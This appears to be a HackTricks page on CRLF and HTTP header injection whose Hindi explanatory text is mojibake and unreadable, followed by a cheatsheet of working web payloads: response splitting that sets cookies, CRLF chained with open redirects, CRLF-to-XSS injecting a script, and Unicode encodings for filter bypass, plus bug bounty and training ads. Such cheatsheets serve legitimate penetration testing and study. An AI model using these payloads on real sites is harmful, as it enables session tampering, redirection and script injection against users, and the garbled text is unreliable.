CRLF (Carriage Return and Line Feed) рдпрд╛ HTTP рд╣реЗрдбрд░ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЗ рдЬреЛрдЦрд┐рдореЛрдВ рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд░рдгрдиреАрддрд┐рдпреЛрдВ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ:
- Response Headers рдореЗрдВ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реЗ рдмрдЪреЗрдВ: рд╕рдмрд╕реЗ рд╕реБрд░рдХреНрд╖рд┐рдд рджреГрд╖реНрдЯрд┐рдХреЛрдг рдпрд╣ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рдЗрдирдкреБрдЯ рдХреЛ рд╕реАрдзреЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╕реЗ рдмрдЪреЗрдВред
- рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдгреЛрдВ рдХреЛ рдПрдиреНрдХреЛрдб рдХрд░реЗрдВ: рдпрджрд┐ рд╕реАрдзреЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЗрдирдкреБрдЯ рд╕реЗ рдмрдЪрдирд╛ рд╕рдВрднрд╡ рдирд╣реАрдВ рд╣реИ, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ CR (Carriage Return) рдФрд░ LF (Line Feed) рдЬреИрд╕реЗ рд╡рд┐рд╢реЗрд╖ рд╡рд░реНрдгреЛрдВ рдХреЛ рдПрдиреНрдХреЛрдб рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдлрд╝рдВрдХреНрд╢рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред рдпрд╣ рдкреНрд░рдерд╛ CRLF рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рд╕рдВрднрд╛рд╡рдирд╛ рдХреЛ рд░реЛрдХрддреА рд╣реИред
- рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛ рдХреЛ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВ: рдЕрдкрдиреЗ рд╡реЗрдм рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХреА рдЬрд╛рдиреЗ рд╡рд╛рд▓реА рдкреНрд░реЛрдЧреНрд░рд╛рдорд┐рдВрдЧ рднрд╛рд╖рд╛ рдХреЛ рдирд┐рдпрдорд┐рдд рд░реВрдк рд╕реЗ рдирд╡реАрдирддрдо рд╕рдВрд╕реНрдХрд░рдг рдореЗрдВ рдЕрдкрдбреЗрдЯ рдХрд░реЗрдВред рдПрдХ рдРрд╕реЗ рд╕рдВрд╕реНрдХрд░рдг рдХрд╛ рдЪрдпрди рдХрд░реЗрдВ рдЬреЛ HTTP рд╣реЗрдбрд░ рд╕реЗрдЯ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рдлрд╝рдВрдХреНрд╢рдиреЛрдВ рдХреЗ рднреАрддрд░ CR рдФрд░ LF рд╡рд░реНрдгреЛрдВ рдХреЗ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрддрд╛ рд╣реИред
CHEATSHEET
1. HTTP Response Splitting
тАв /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
тАв //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
тАв /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
тАв /google.com/%2F..%0D%0AHeader-Test:test2
тАв /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
тАв /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
тАв /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
тАв %E5%98%8A = %0A = \u560a
тАв %E5%98%8D = %0D = \u560d
тАв %E5%98%BE = %3E = \u563e (>)
тАв %E5%98%BC = %3C = \u563c (<)
тАв Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
Automatic Tools
Brute-Force Detection List
References
- https://www.invicti.com/blog/web-security/crlf-http-header/
- https://www.acunetix.com/websitesecurity/crlf-injection/
- https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning
- https://www.netsparker.com/blog/web-security/crlf-http-header/
Bug bounty tip: рд╕рд╛рдЗрди рдЕрдк рдХрд░реЗрдВ Intigriti рдХреЗ рд▓рд┐рдП, рдПрдХ рдкреНрд░реАрдорд┐рдпрдо рдмрдЧ рдмрд╛рдЙрдВрдЯреА рдкреНрд▓реЗрдЯрдлреЙрд░реНрдо рдЬреЛ рд╣реИрдХрд░реНрд╕ рджреНрд╡рд╛рд░рд╛, рд╣реИрдХрд░реНрд╕ рдХреЗ рд▓рд┐рдП рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ! рдЖрдЬ рд╣реА https://go.intigriti.com/hacktricks рдкрд░ рд╣рдорд╛рд░реЗ рд╕рд╛рде рдЬреБрдбрд╝реЗрдВ, рдФрд░ $100,000 рддрдХ рдХреЗ рдмрд╛рдЙрдВрдЯреА рдХрдорд╛рдирд╛ рд╢реБрд░реВ рдХрд░реЗрдВ!
{% embed url="https://go.intigriti.com/hacktricks" %}
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the ЁЯТм Discord group or the telegram group or follow us on Twitter ЁЯРж @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.